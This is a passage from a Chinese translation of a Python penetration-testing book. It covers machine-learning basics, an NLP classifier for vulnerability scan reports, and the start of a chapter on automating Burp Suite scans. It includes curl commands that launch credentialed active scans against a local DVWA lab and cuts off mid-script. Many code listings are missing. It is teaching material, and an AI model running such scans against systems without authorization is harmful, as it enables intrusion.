Python 渗透测试实用指南(二)
原文:
annas-archive.org/md5/4B796839472BFAAEE214CCEDB240AE18译者:飞龙
第七章:机器学习和网络安全
如今,机器学习(ML)是一个我们经常遇到的术语。在本章中,我们将概述机器学习的确切含义,它解决的问题类型,以及它在网络安全生态系统中的应用类型。我们还将研究各种不同类型的机器学习模型,以及在哪些情况下可以使用哪些模型。值得注意的是,本书的范围不是详细介绍机器学习,而是提供对机器学习及其在网络安全领域的应用的扎实理解。
本章将详细介绍以下主题:
-
机器学习
-
基于回归的机器学习模型
-
分类模型
-
自然语言处理
机器学习
让我们从一个基本问题开始:什么是机器学习,为什么我们要使用它?
我们可以将机器学习定义为数据科学的一个分支,可以有效解决预测问题。假设我们有过去三个月电子商务网站客户的数据,数据包含特定产品的购买历史(c_id,p_id,age,gender,nationality,purchased[yes/no])。
我们的目标是利用数据集来识别可能购买产品的客户,基于他们的购买历史。我们可能认为一个好主意是考虑购买列,并假设那些先前购买产品的人最有可能再次购买。然而,一个更好的业务解决方案将考虑所有参数,包括发生最多购买的地区,客户的年龄组和性别等。基于所有这些领域的排列,业务所有者可以更好地了解受产品影响最大的客户类型,因此营销团队可以设计更具体、有针对性的活动。
我们可以通过两种不同的方式来做到这一点。第一种解决方案是使用我们选择的编程语言编写软件,并编写逻辑,给每个讨论的参数赋予特定的权重。然后逻辑将能够告诉我们所有潜在的买家是谁。然而,这种方法的缺点是需要大量时间来起草逻辑,如果添加了新的参数(例如客户的职业),逻辑将需要更改。此外,编写的逻辑只能解决一个特定的业务问题。这是在机器学习开发之前采用的传统方法,目前仍被各种企业使用。
第二种解决方案是使用机器学习。基于客户数据集,我们可以训练一个机器学习模型,并让其预测客户是否是潜在的买家。训练模型涉及将所有训练数据提供给一个机器学习库,该库将考虑所有参数并学习购买产品的客户的共同属性,以及未购买产品的客户的属性。模型学到的内容将被保存在内存中,获得的模型被称为经过训练的。如果模型被提供新客户的数据,它将使用其训练并基于学到的通常导致购买的属性进行预测。以前必须用计算机程序和硬编码逻辑解决的同样的业务问题现在用数学机器学习模型解决。这是我们可以使用机器学习的许多案例之一。
重要的是要记住,如果手头的问题是一个预测问题,机器学习可以应用来获得良好的预测。然而,如果问题的目标是自动化手动任务,机器学习将无济于事;我们需要使用传统的编程方法。机器学习通过使用数学模型来解决预测问题。
人工智能(AI)是另一个我们经常会遇到的词。现在让我们试着回答另一个问题:什么是人工智能,它和机器学习有什么不同?
在 Kali Linux 中设置机器学习环境
所有的机器学习库都打包在一个叫做anaconda的包中。这将安装 Python 3.5 或最新版本的 Python。要运行机器学习代码,我们需要 Python 3 或更高版本:
-
从以下网址下载 anaconda:
conda.io/miniconda.html。 -
通过运行
bash Anaconda-latest-Linux-x86_64.sh.>来安装所有的包。 -
有关更多详细信息,请参考以下网址:
conda.io/docs/user-guide/install/linux.html。
基于回归的机器学习模型
当我们需要预测连续值而不是离散值时,我们使用回归模型。例如,假设数据集包含员工的工作经验年限和工资。基于这两个值,这个模型被训练并期望根据他们的工作经验年限来预测员工的工资。由于工资是一个连续的数字,我们可以使用基于回归的机器学习模型来解决这种问题。
我们将讨论的各种回归模型如下:
-
简单线性回归
-
多元线性回归
-
多项式回归
-
支持向量回归
-
决策树回归
-
随机森林回归
简单线性回归
简单线性回归(SLR)对线性数据进行特征缩放,如果需要的话。特征缩放是一种用来平衡各种属性影响的方法。所有的机器学习模型都是数学性质的,所以在用数据训练模型之前,我们需要应用一些步骤来确保所做的预测不会有偏差。
例如,如果数据集包含三个属性(age,salary,和item_purchased[0/1]),我们作为人类知道,可能会去商店的年龄段在 10 到 70 之间,工资可能在 10,000 到 100,000 或更高之间。在进行预测时,我们希望同时考虑这两个参数,知道哪个年龄段的人在什么工资水平下最有可能购买产品。然而,如果我们在不将年龄和工资缩放到相同水平的情况下训练模型,工资的值会因为它们之间的巨大数值差异而掩盖年龄的影响。为了确保这种情况不会发生,我们对数据集应用特征缩放来平衡它们。
另一个必需的步骤是数据编码,使用独热编码器。例如,如果数据集有一个国家属性,这是一个分类值,假设有三个类别:俄罗斯、美国和英国。这些词对数学模型来说没有意义。使用独热编码器,我们将数据集转换成(id,age,salary,Russia,UK,USA,item_purchased)。现在,所有购买产品并来自俄罗斯的顾客在名为俄罗斯的列下会有数字 1,在美国和英国的列下会有数字 0。
举个例子,假设数据最初如下所示:
| ID | 国家 | 年龄 | 工资 | 购买 |
|---|---|---|---|---|
| 1 | 美国 | 32 | 70 K | 1 |
| 2 | 俄罗斯 | 26 | 40 K | 1 |
| 3 | 英国 | 32 | 80 K | 0 |
进行数据转换后,我们会得到以下数据集:
| ID | 俄罗斯 | 美国 | 英国 | 年龄 | 工资 | 购买 |
|---|---|---|---|---|---|---|
| 1 | 0 | 1 | - | 0.5 | 0.7 | 1 |
| 2 | 1 | 0 | 0 | 0.4 | 0.4 | 1 |
| 3 | 0 | 0 | 1 | 0.5 | 0.8 | 0 |
可以看到得到的数据集是纯数学的,所以我们现在可以把它交给我们的回归模型来学习,然后进行预测。
需要注意的是,帮助进行预测的输入变量被称为自变量。在前面的例子中,country、age和salary是自变量。定义预测的输出变量被称为因变量,在我们的例子中是Purchased列。
回归模型如何工作?
我们的目标是在数据集上训练一个机器学习模型,然后要求模型进行预测,以确定应根据员工的工作经验给予的薪资。
我们考虑的例子是基于 Excel 表的。基本上,我们有一家公司的数据,其中薪资结构是基于工作经验年限的。我们希望我们的机器学习模型能够推导出工作经验年限和给定薪资之间的相关性。根据推导出的相关性,我们希望模型能够提供未来的预测并指定建模薪资。机器通过简单线性回归来实现这一点。在简单线性回归中,通过给定的散点数据绘制各种线条(趋势线)。趋势线的理念是它应该最佳拟合(穿过)所有的散点数据。之后,通过计算建模差异来选择最佳的趋势线。这可以进一步解释如下:
继续使用相同的例子,让我们以员工“e”为例,他在实际工作中拥有 10 年的经验,薪资为 100,000。然而,根据模型,员工实际上应该获得的薪资要低一些,如绿色+所示,绿色+下方的线实际上低于组织所遵循的线(建模薪资)。绿色虚线表示实际薪资和建模薪资之间的差异(约 80K)。它由yi -yi^给出,其中yi是实际薪资,*yi^*是模式。
SLR 通过数据绘制所有可能的趋势线,然后计算整条线的*(y-y^)²的和。然后找到计算平方的最小值。具有最小平方和的线被认为是最适合数据的线。这种方法称为最小二乘法或欧几里得距离法。最小二乘法是一种数学回归分析方法,它为数据集找到最佳拟合线,提供了数据点之间关系的可视化演示。
以下屏幕截图表示回归模型绘制的各种预测线:
基于平方和方法,选择了最佳拟合线,如下所示:
基本上,绘制的数据点不在一条直线上,而是在直线的两侧对称绘制,如下所示:
以下部分代表了实现 SLR 的代码:
多元线性回归
SLR 适用于具有一个自变量和一个因变量的数据集。它在XY维度空间中绘制两者,根据数据集绘制趋势线,最后通过选择最佳拟合线进行预测。然而,现在我们需要考虑的是如果因变量的数量超过一个会发生什么。这就是多元线性回归出现的地方。多元线性回归(MLR)使用多个自变量并在 n 维空间中绘制它们以进行预测。
我们现在将处理一个包含与 50 家初创公司相关信息的不同数据集。数据基本上包括公司在各种垂直领域(如研发、行政和营销)上的支出。它还指示了公司所在的州以及每个垂直领域的净利润。显然,利润是因变量,其他因素是自变量。
在这里,我们将从投资者的角度进行分析,他想要分析各种参数,并预测应该在哪些垂直领域投入更多的收入,并在哪个州,以最大化利润。例如,可能有一些州在其中更多地投入研发会带来更好的结果,或者其他一些州在其中更多地投入营销更有利可图。该模型应该能够预测应该投资哪些垂直领域,如下所示:
鉴于我们有多个自变量,如下所示,对于我们来说,识别哪些是实际有用的,哪些是无用的也很重要:
虽然一些自变量可能会对最终的因变量产生影响,但其他一些可能不会。为了提高模型的准确性,我们必须消除对因变量影响较小的所有变量。有五种方法可以消除这些变量,如下图所示,但最可靠的是向后消除:
向后消除的工作原理如下所示:
我们在前面的方法中所说的显著水平是指能够表明正在检查的变量对因变量或最终预测至关重要的最低阈值值。
P 值是确定因变量和自变量之间关系是否随机的概率。对于任何给定的变量,如果计算得到的 P 值等于 0.9,这将表明该自变量与最终因变量之间的关系是 90%随机的,因此对自变量的任何改变可能不会直接影响因变量。另一方面,如果另一个变量的 P 值为 0.1,这意味着该变量与因变量之间的关系并非是随机的,对该变量的改变将直接影响输出。
我们应该从分析数据集开始,找出对预测有重要意义的自变量。我们必须只在这些变量上训练我们的数据模型。以下代码片段表示了向后消除的实现,这将让我们了解哪些变量应该被排除,哪些应该被保留:
以下是前面代码片段中使用的主要函数的解释:
-
X[:,[0,1,2,3,4,5]]表示我们将所有行和从 90 到 5 的所有列传递给向后消除函数 -
sm.OLS是一个内部 Python 库,用于 P 值计算 -
regressor_OLS.summary()将在控制台上显示一个摘要,帮助我们决定哪些数据变量要保留,哪些要排除
在下面的示例中,我们正在对所有变量进行模型训练。但是建议使用之前获得的X_Modeled,而不是X:
在 MLR 中,应该注意的是,预测也是基于最佳拟合线进行的,但在这种情况下,最佳拟合线是在多个维度上绘制的。以下屏幕截图给出了数据集在 n 维空间中的绘制方式:
还有其他各种回归模型适用于其他类型的数据集,但涵盖它们都超出了本书的范围。然而,提到的两个模型应该让我们了解回归模型的工作原理。在下一节中,我们将讨论分类模型。我们将更详细地研究一个分类模型,并看看我们如何在自然语言处理中使用它来应用 ML 在渗透测试生态系统中。
分类模型
与回归模型不同,回归模型预测连续数字,分类模型用于预测给定类别列表中的类别。之前讨论的业务问题,我们在过去三个月内有关电子商务网站客户的数据,其中包含特定产品的购买历史(c_id,p_id,age,gender,nationality,salary,purchased[yes/no])。我们的目标与之前一样,是根据他们的购买历史来识别可能购买产品的客户。根据所有独立变量(age,gender,nationality,salary)的排列组合,分类模型可以进行 1 和 0 的预测,1 表示给定客户将购买产品的预测,0 表示他们不会。在这种情况下,有两个类别(0 和 1)。然而,根据业务问题,输出类别的数量可能会有所不同。常用的不同分类模型如下所示:
-
朴素贝叶斯
-
逻辑回归
-
K 最近邻
-
支持向量机
-
核 SVM
-
决策树分类器
-
随机森林分类器
朴素贝叶斯分类器
让我们尝试通过朴素贝叶斯分类器来理解分类模型的工作原理。为了理解朴素贝叶斯分类器,我们需要理解贝叶斯定理。贝叶斯定理是我们在概率中学习的定理,并可以通过一个例子来解释。
假设我们有两台机器,两台机器都生产扳手。扳手上标有生产它们的机器。M1 是机器 1 的标签,M2 是机器 2 的标签。
假设有一个扳手是有缺陷的,我们想找到有缺陷的扳手是由机器 2 生产的概率。提供 B 已经发生的情况下 A 发生的概率由朴素贝叶斯定理确定。因此,我们使用贝叶斯定理如下:
-
P(A)代表事件发生的概率。
-
p(B/A)代表 A 发生的情况下 B 发生的概率。
-
P(B)代表 B 发生的概率。
-
p(A/B)代表 B 发生的情况下 A 发生的概率(假设 B 已经发生的情况下 A 发生的概率)。
-
如果我们用概率来表示数据,我们得到以下结果:
假设我们有一个人的数据集,有些人步行上班,有些人开车上班,这取决于他们所属的年龄类别:
| |
|---|
如果添加了一个新的数据点,我们应该能够判断那个人是开车上班还是步行上班。这是监督学习;我们正在对数据集进行机器训练,并从中得出一个学习模型。我们将应用贝叶斯定理来确定新数据点属于步行类别和驾驶类别的概率。
为了计算新数据点属于步行类别的概率,我们计算P(Walk/X)。这里,X代表给定人的特征,包括他们的年龄和工资:
为了计算新数据点属于驾驶类别的概率,我们计算*P(Drives/X)*如下所示:
最后,我们将比较*P(Walks/X)和P(Drives/X)。*基于这个比较,我们将确定在哪个类别中放置新数据点(在概率更高的类别中)。最初的绘图发生在 n 维空间中,取决于独立变量的值。
接下来,我们计算边际似然,如下图所示,即 P(X):
P(X)实际上是指将新数据点添加到具有相似特征数据点的概率。该算法将划分或在发现具有与即将添加的数据点相似特征的数据点周围画一个圆。然后,计算特征的概率为P(X) =相似观察的数量/总观察数量。
- 圆的半径在这种情况下是一个重要的参数。这个半径作为算法的输入参数给出:
- 在这个例子中,圆内的所有点被假定具有与要添加的数据点相似的特征。假设我们要添加的数据点与一个 35 岁,年薪 40,000 美元的人相关。在这种情况下,圆内的所有人都会被选中:
- 接下来,我们需要计算似然,即随机选择一个步行者包含 X 的特征的概率。以下将确定P(X/walks):
-
我们将使用相同的方法来推导数据点属于驾驶部分的概率,假设它具有与步行者相同的特征
-
在这种情况下,P(X)等于落在之前所示圆内的相似观察的数量,除以总观察数量。P(X) = 4/30 = 0.133
-
P(drives) = P(# who drive) / (#total) = 20/30 = 0.666
-
P(X|Drivers) = P(相似的驾驶员观察) / 总驾驶员 = 1/20 = 0.05
-
应用我们得到的值,得到 P(Drivers|X) = 0.05 * 0.666 / 0.133 = 0.25 => 25
对于给定的问题,我们将假设数据点属于步行者的集合。
总结朴素贝叶斯分类器
以下项目将迄今讨论的所有概念整合起来,总结了我们对朴素贝叶斯分类器的学习:
-
应该注意的是,朴素贝叶斯分类器在训练后并没有一个计算出的模型。事实上,在预测时,所有数据点只是根据它们属于哪个类别进行简单的标记。
-
在预测时,根据独立变量的值,数据点将在 n 维空间中的特定位置计算并绘制。目标是预测数据点在 N 个类别中属于哪个类别。
-
基于独立变量,数据点将在接近具有相似特征的数据点的向量空间中绘制。然而,这仍然不能确定数据点属于哪个类别。
-
根据最初选择的最佳半径值,将在该数据点周围画一个圆,将圆的半径内的一些其他点包围起来。
-
假设我们有两个类别,A 和 B,我们需要确定新数据点 X 的类别。贝叶斯定理将用于确定 X 属于类 A 的概率和 X 属于类 B 的概率。具有更高概率的那个类别就是预测数据点所属的类别。
实现代码
假设我们有一家名为 X 的汽车公司,拥有一些关于人们的数据,包括他们的年龄、薪水和其他信息。它还包括关于这些人是否购买了公司以非常昂贵的价格推出的 SUV 的详细信息。这些数据用于帮助他们了解谁购买了他们的汽车:
我们将使用相同的数据来训练我们的模型,以便它可以预测一个人是否会购买一辆汽车,给定他们的年龄、薪水和性别:
以下截图显示了前 12 个数据点的y_pred和y_test之间的差异:
| |
前面的截图代表了混淆矩阵的输出。
-
单元格[0,0]代表了输出为 0 且被预测为 0 的总案例。
-
单元格[0,1]代表了输出为 0 但被预测为 1 的总案例。
-
单元格[1,0]代表了输出为 1 但被预测为 0 的总案例。
-
单元格[1,1]代表了输出为 1 且被预测为 1 的总案例。
如果我们从先前的数据集中获取统计数据,我们可以看到在 100 次预测中,有 90 次是正确的,10 次是错误的,给出了 90%的准确率。
自然语言处理
自然语言处理(NLP)是关于分析文本、文章并进行对文本数据的预测分析。我们将制作的算法将解决一个简单的问题,但相同的概念适用于任何文本。我们也可以使用 NLP 来预测一本书的类型。
考虑以下的 Tab 分隔值(TSV),这是一个用于应用 NLP 并查看其工作原理的制表符分隔的数据集:
这是我们将要处理的数据的一小部分。在这种情况下,数据代表了关于餐厅的顾客评论。评论以文本形式给出,并且有一个评分,即 0 或 1,表示顾客是否喜欢这家餐厅。1 表示评论是积极的,0 表示不是积极的。
通常,我们会使用 CSV 文件。然而,在这里,我们使用的是 TSV 文件,分隔符是制表符,因为我们正在处理基于文本的数据,所以可能会有逗号,这些逗号并不表示分隔符。例如,如果我们看第 14 条记录,我们可以看到文本中有一个逗号。如果这是一个 CSV 文件,Python 会将句子的前半部分作为评论,后半部分作为评分,而1会被视为一个新的评论。这将破坏整个模型。
该数据集大约有 1,000 条评论,并且已经被手动标记。由于我们正在导入一个 TSV 文件,pandas.read_csv的一些参数需要更改。首先,我们指定分隔符是制表符分隔的,使用/t。我们还应该忽略双引号,可以通过指定参数 quoting=3 来实现:
导入的数据集如下所示:
我们可以看到成功导入了 1,000 条评论。所有评论都在评论列中,所有评分都在Liked列中。在 NLP 中,我们必须在使用文本数据之前对其进行清理。这是因为 NLP 算法使用词袋概念工作,这意味着只保留导致预测的单词。词袋实际上只包含影响预测的相关单词。例如a,the,on等单词在这种情况下被认为是不相关的。我们还摆脱点和数字,除非需要数字,并对单词进行词干处理。词干处理的一个例子是用love代替loved。我们应用词干处理的原因是因为我们不希望最终有太多的单词,并且还要将loving和loved等单词重新组合成一个单词love。我们还去掉大写字母,并将所有内容转换为小写。要应用我们的词袋模型,我们需要应用标记化。这样做后,我们将有不同的单词,因为预处理将消除不相关的单词。
然后,我们取出不同评论的所有单词,并为每个单词创建一列。可能会有许多列,因为评论中可能有许多不同的单词。然后,对于每条评论,每个列将包含一个数字,指示该特定评论中该单词出现的次数。这种类型的矩阵称为稀疏矩阵,因为数据集中可能有许多零。
dataset['Review'][0]命令将给出我们的第一条评论:
我们使用正则表达式的一个子模块,如下所示:
我们正在使用的子模块称为减法函数。这将从我们的输入字符串中减去指定的字符。它还可以将单词组合在一起,并用您选择的字符替换指定的字符。要替换的字符可以输入为字符串,也可以输入为正则表达式格式。在前面的示例中,正则表达式格式中的^符号表示不,[a-zA-Z]表示除 a-z 和 A-Z 之外的所有内容应该被一个空格' '替换。在给定的字符串中,点将被移除并替换为空格,产生以下输出:Wow Loved this place。
我们现在删除所有不重要的单词,例如the,a,this等。为此,我们将使用nltk库(自然语言工具包)。它有一个名为 stopwords 的子模块,其中包含所有与句子意义获取无关的单词(通用单词)。要下载停用词,我们使用以下命令:
这将从当前路径下载停用词,然后可以直接使用它们。首先,我们将评论分成单词列表,然后我们遍历不同的单词,并将它们与下载的停用词进行比较,删除那些不必要的单词:
在前面的代码片段中,我们正在使用一个 for 循环。在 review 前面声明[]符号表示列表将包含从 for 循环返回的单词,这些单词在这种情况下是停用词。
在for循环之前的代码表示我们应该分配字符串单词,并且每次单词出现在评论列表中并且不出现在stopwords.words('English')列表中时,更新列表中的新单词。请注意,我们正在使用set()函数将给定的停用词列表实际转换为集合,因为在 Python 中,集合上的搜索操作比列表快得多。最后,评论将包含我们的无关紧要的单词。在这种情况下,对于第一条评论,它将包含[wov,loved,place]。
下一步是进行词干提取。我们应用词干提取的原因是为了避免稀疏性,即在我们的矩阵中有大量的零(称为稀疏矩阵)时发生的情况。为了减少稀疏性,我们需要减少矩阵中零的比例。
我们将使用 portstemmer 库对每个单词应用词干提取:
现在,评论将包含[wov, love, place]。
在这一步中,我们将通过调用join将列表中转换后的字符串评论连接成一个字符串。我们将使用空格作为delimiter ' '.join(review)将评论列表中的所有单词连接在一起,然后我们使用' '作为分隔符来分隔单词。
现在评论是一个包含所有小写相关单词的字符串:
执行代码后,如果我们比较原始数据集和获得的语料库列表,我们将得到以下结果:
由于停用词列表中也有单词Not,索引 1 处的字符串Crust is not good(Liked评分为 0)变为了crust good。我们需要确保这不会发生。同样,would not go back变成了would go back。处理它的一种方法是使用一个停用词列表,如set(stopwords.words('english'))]。
接下来,我们将创建一个词袋模型。在这里,将使用获得的语料库(句子列表)中的不同单词,并为每个不同的单词创建一列。不会重复任何单词。
因此,诸如wov love place,crust good,tasti textur nasti等单词将被取出,并为每个单词创建一列。每一列将对应一个不同的单词。我们还将有评论和一个条目编号,指定该特定评论中单词存在的次数。
有了这种设置,我们的表中会有很多零,因为可能有一些单词并不经常出现。目标应该始终是将稀疏性保持到最低,这样只有相关的单词才能指向预测。这将产生一个更好的模型。我们刚刚创建的稀疏矩阵将成为我们的词袋模型,并且它的工作方式就像我们的分类模型一样。我们有一些独立变量取一些值(在这种情况下,独立变量是评论单词),并且根据独立变量的值,我们将预测依赖变量,即评论是积极的还是否定的。为了创建我们的词袋模型,我们将应用一个分类模型来预测每个新评论是积极的还是消极的。我们将使用标记化和一个名为CountVectoriser的工具来创建一个词袋模型。
我们将使用以下代码来使用这个库:
from sklearn.feature_extraction.text import CountVectorizer
接下来,我们将创建这个类的一个实例。参数中有一个停用词作为其中一个参数,但由于我们已经将停用词应用到我们的数据集中,我们不需要再次这样做。这个类还允许我们控制大小写和标记模式。我们也可以选择使用这个类来执行之前的所有步骤,但是分开执行可以更好地进行细粒度控制。
请注意,行cv.fit_transform实际上会将稀疏矩阵拟合到 cv,并返回一个具有语料库中所有单词的特征矩阵。
到目前为止,我们已经制作了我们的词袋,或者稀疏矩阵,一个独立变量的矩阵。下一步是使用分类模型,并在词袋的一部分-X 上训练模型,以及在相同索引上的依赖变量-Y。在这种情况下,依赖变量是Liked列。
执行上述代码将创建一个包含大约 1565 个特征(不同列)的特征矩阵。如果不同特征的数量非常大,我们可以限制最大特征并指定最大阈值。假设我们将阈值数指定为 1500,那么只有 1500 个特征或不同的单词将被纳入稀疏矩阵,那些与前 1500 个相比较少的将被移除。这将更好地相关独立和因变量,进一步减少稀疏性。
现在我们需要在词袋模型单词和因变量上训练我们的分类模型:
提取因变量如下:
X和Y如下所示:
请注意,在前面的情况下,每个索引(0-1499)对应于原始语料库列表中的一个单词。我们现在拥有了分类模型中的内容:独立变量和结果的度量,负面评价为 0,正面评价为 1。然而,我们仍然有相当多的稀疏性。
我们的下一步是利用分类模型进行训练。有两种使用分类模型的方法。一种方法是测试所有分类模型并确定假阳性和假阴性,另一种方法是基于经验和过去的实验。在 NLP 中最常用的模型是朴素贝叶斯和决策树或随机森林分类。在本教程中,我们将使用朴素贝叶斯模型:
整个代码如下所示:
从上述代码中,我们可以看到我们将训练集和测试集分为 80%和 20%。我们将给训练集 800 个观察值,测试集 200 个观察值,并查看我们的模型将如何表现。执行后的混淆矩阵的值如下:
负面评价有 55 个正确预测,正面评价有 91 个正确预测。负面评价有 42 个错误预测,正面评价有 12 个错误预测。因此,在 200 次预测中,有 146 次正确预测,相当于 73%。
使用自然语言处理处理渗透测试报告
我在网络安全领域中使用 ML 的一个应用是自动化报告分析以发现漏洞。我们现在知道上一章中构建的漏洞扫描器是如何工作的,但所有集成脚本和工具产生的数据量巨大,我们需要手动处理或分析它。在 Typical scanners 如 Nessus 或 Qualys 中,插件实际上是脚本。由于它们是由 Nessus 和 Qualys 内部开发的,这些脚本旨在发现缺陷并以易于理解的方式报告它们。然而,在我们的情况下,我们正在集成许多开源脚本和工具集,并且产生的输出并不是集成的。为了自动化这项任务并获得漏洞的概述,我们需要弄清楚脚本或工具产生的输出,在标记漏洞的情况下,以及在返回安全检查的情况下。根据我们的理解和每个脚本的预期输出模式,我们必须起草我们的 Python 代码逻辑,以发现哪个插件产生了不安全的检查结果,哪个返回了安全检查。这需要大量的工作。每当我们增加集成脚本的数量时,我们的代码逻辑也需要更新,所以你可以选择是否要走这条路。
我们手头还有另一种方法,那就是利用机器学习和 NLP。由于我们可以获得大量的历史渗透测试数据,为什么不将其提供给机器学习模型,并训练它理解什么是不安全的,什么是安全的呢?多亏了我们使用漏洞扫描器执行的历史渗透测试报告,我们的数据库表中有大量数据。我们可以尝试重用这些数据,利用机器学习和 NLP 自动化手动报告分析。我们谈论的是监督学习,它需要一次性的工作来适当地标记数据。假设我们拿过去进行的最后 10 次渗透测试的历史数据,每次测试平均有 3 个 IP。我们还假设每个 IP 平均执行 100 个脚本(取决于开放端口的数量)。这意味着我们有 3000 个脚本的数据。
我们需要手动标记结果。或者,如果测试人员在用户界面中呈现数据时,可以通过复选框选择易受攻击/不易受攻击,这将作为数据的标记。假设我们能够将所有结果数据标记为 1,表示测试用例或检查结果安全,标记为 0,表示测试用例结果不安全。然后我们将得到标记的数据进行预处理,并提供给我们的 NLP 模型进行训练。一旦模型训练完成,我们就会持久化模型。最后,在实时扫描期间,我们将测试用例的结果传递给我们训练好的模型,让它对结果易受攻击的测试用例进行预测。测试人员只需要专注于易受攻击的测试用例,并准备其利用步骤。
为了演示这个概念的 POC,让我们拿一个项目的结果,并只考虑运行ssl和http的脚本。让我们看看代码的运行情况。
第 1 步-标记原始数据
以下是我们使用漏洞扫描器扫描的一个项目上进行的ssl和http检查的输出。数据是从后端 IPexploits 表中获取的,并且标记为 0 表示检查不容易受攻击,标记为 1 表示测试不安全。我们可以在以下截图中看到这一点。这是一个带有模式(command_id,recored_id,service_result,vul[0/1])的 TSV 文件:
现在我们已经标记了数据,让我们处理和清理它。之后,我们将用它来训练我们的 NLP 模型。我们将使用 NLP 的朴素贝叶斯分类器。我在当前数据集上使用这个模型取得了不错的成功。测试各种其他模型并看看是否能够获得更好的预测成功率将是一个很好的练习。
第 2 步-编写训练和测试模型的代码
以下代码与我们在 NLP 部分讨论的内容完全相同,只是在使用pickle.dump将训练好的模型保存到文件中时添加了一些内容。我们还使用pickle.load来加载保存的模型:
以下截图显示了我们训练模型为数据集提供的混淆矩阵的结果。我们在 80%的数据集上训练了模型,并在 20%的数据集上进行了测试。得到的结果表明,我们的模型预测准确率为 92%。需要注意的是,对于更大的数据集,准确性可能会有所不同。这里的想法是让您了解 NLP 如何与渗透测试报告一起使用。我们可以改进处理以提供更干净的数据,并改变模型选择以获得更好的结果:
摘要
在本章中,我们讨论了如何使用 Python 进行机器学习,以及如何将其应用于网络安全领域。在网络安全领域中,数据科学和机器学习有许多其他精彩的应用,涉及日志分析、流量监控、异常检测、数据外泄、URL 分析、垃圾邮件检测等。现代 SIEM 解决方案大多建立在机器学习之上,并且使用大数据引擎来减少人工分析。请参考进一步阅读部分,了解机器学习在网络安全中的其他用例。还必须注意的是,渗透测试人员有必要了解机器学习,以便发现漏洞。在下一章中,用户将了解如何使用 Python 自动化各种网络应用攻击类型,包括 SQLI、XSS、CSRF 和点击劫持。
问题
-
与机器学习相关的各种漏洞是什么?
-
什么是大数据,有哪些已知漏洞的大数据产品示例?
-
机器学习和人工智能之间有什么区别?
-
哪些渗透测试工具使用机器学习,以及原因?
进一步阅读
-
使用机器学习检测钓鱼网站:
github.com/abhishekdid/detecting-phishing-websites -
使用机器学习进行日志分析:
github.com/logpai -
网络安全的自然语言处理:
www.recordedfuture.com/machine-learning-cybersecurity-applications/ -
使用机器学习进行垃圾邮件检测:
github.com/Meenapintu/Spam-Detection -
Python 深度学习:
www.manning.com/books/deep-learning-with-python
第八章:自动化 Web 应用程序扫描-第 1 部分
当我们谈论 Web 应用程序扫描时,会想到各种攻击向量,如 SQL 注入、XSS、CSRF、LFI 和 RFI。当我们谈论 Web 应用程序测试时,我们可能会想到 Burp Suite。在本章中,我们将研究如何使用 Python 来尝试自动化 Web 应用程序攻击向量检测。我们还将看看如何使用 Python 来自动化 Burp 扫描,以覆盖我们否则需要手动发现的漏洞。在本章中,我们将研究以下主题:
-
使用 Burp Suite 自动化 Web 应用程序扫描
-
使用 Python 自动化 Burp
-
SQL 注入
-
使用 Python 自动检测 SQL 注入
使用 Burp Suite 自动化 Web 应用程序扫描
Burp Suite Professional 在其 API 方面为渗透测试人员提供了额外的功能。借助 Burp Suite Professional API,测试人员可以自动调用扫描并将其发现与其他工具集成。
Burp Suite 目前在其许可版本(burp-suite 专业版)中提供 API 支持。这是所有网络安全专业人员必须拥有的工具之一。我建议获取 Burp Suite 的许可版本,以便充分利用本章内容。
启动 Burp Suite 并按以下方式配置 API:
然后,启动 API 并按以下方式配置 API 密钥:
单击按钮时,密钥将被复制到剪贴板。我们可以按以下方式使用它:
我们可以看到 API 正在端口1337上监听。我们使用 API 密钥来引用此端点地址。API 公开了三个端点:获取问题定义、启动扫描和获取正在运行扫描的状态。
让我们看看我们需要的参数,以启动对 Damn Vulnerable Web Application 的新扫描。
应用可以从以下 URL 安装:
安装并设置好后,我们可以使用以下curl命令来在网站上启动 Burp 的主动扫描:
curl -vgw "\n" -X POST 'http://127.0.0.1:1337/<API KEY>/v0.1/scan' -d '{"application_logins":[{"password":"password","username":"admin"}],"name":"My first project","scan_configurations":[{"name":"Crawl strategy - fastest","type":"NamedConfiguration"}],"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/login.php"]}'
包含更详尽的爬行和审计测试的更通用请求如下所示:
curl -vgw "\n" -X POST 'http://127.0.0.1:1337/<API KEY>/v0.1/scan' -d '{"application_logins":[{"password":"password","username":"admin"}],"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa/","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/"]}'
应注意,前面的请求可以通过 Ubuntu 上的终端发送,也可以使用 Burp API 提供的 Web 界面生成请求。应注意,如果以前面显示的方式调用请求,它将不会返回任何内容,而是会创建一个带有任务 ID 的新扫描。
这可以在 Burp Suite 控制台上看到,如下所示:
在上一张屏幕截图中,我们可以看到创建了一个 ID 为9的新任务,并且正在扫描我们本地托管的 Damn Vulnerable Web Application。当截图被捕获时,该任务能够识别出四个高级问题、十个中级问题和三个低级问题。在接下来的部分中,我们可以看到如何使扫描器不断告诉我们扫描的状态。为了做到这一点,我们需要设置一个回调 URL。换句话说,我们需要有一个监听端口,扫描器将不断发送结果。我们可以在控制台上打印如下内容:
curl -vgw "\n" -X POST 'http://127.0.0.1:1337/Sm2fbfwrTQVqwH3VERLKIuXkiVbAwJgm/v0.1/scan' -d '{"application_logins":[{"password":"password","username":"admin"}],"scan_callback":{"url":"http://127.0.0.1:8000"},"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa/","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/"]}'
扫描的状态和所有发现的内容将发送回指定的地址:
鉴于我们现在了解了如何使用 Burp Suite API 自动化扫描,让我们编写一个 Python 脚本来实现这一点。我们将创建一个 Python 脚本来调用扫描,同时该脚本将监听回调请求并解析响应以显示所有高、中和低问题。
使用 Python 进行 Burp 自动化
让我们创建一个简单的 Python 脚本并将其命名为burp_automate.py。输入以下代码:
import requests
import json
from urlparse import urljoin
import socket
import ast
import time
class Burp_automate():
def __init__(self):
self.result=""
self.api_key="odTOmUX9mNTV3KRQ4La4J1pov6PEES72"
self.api_url="http://127.0.0.1:1337"
def start(self):
try:
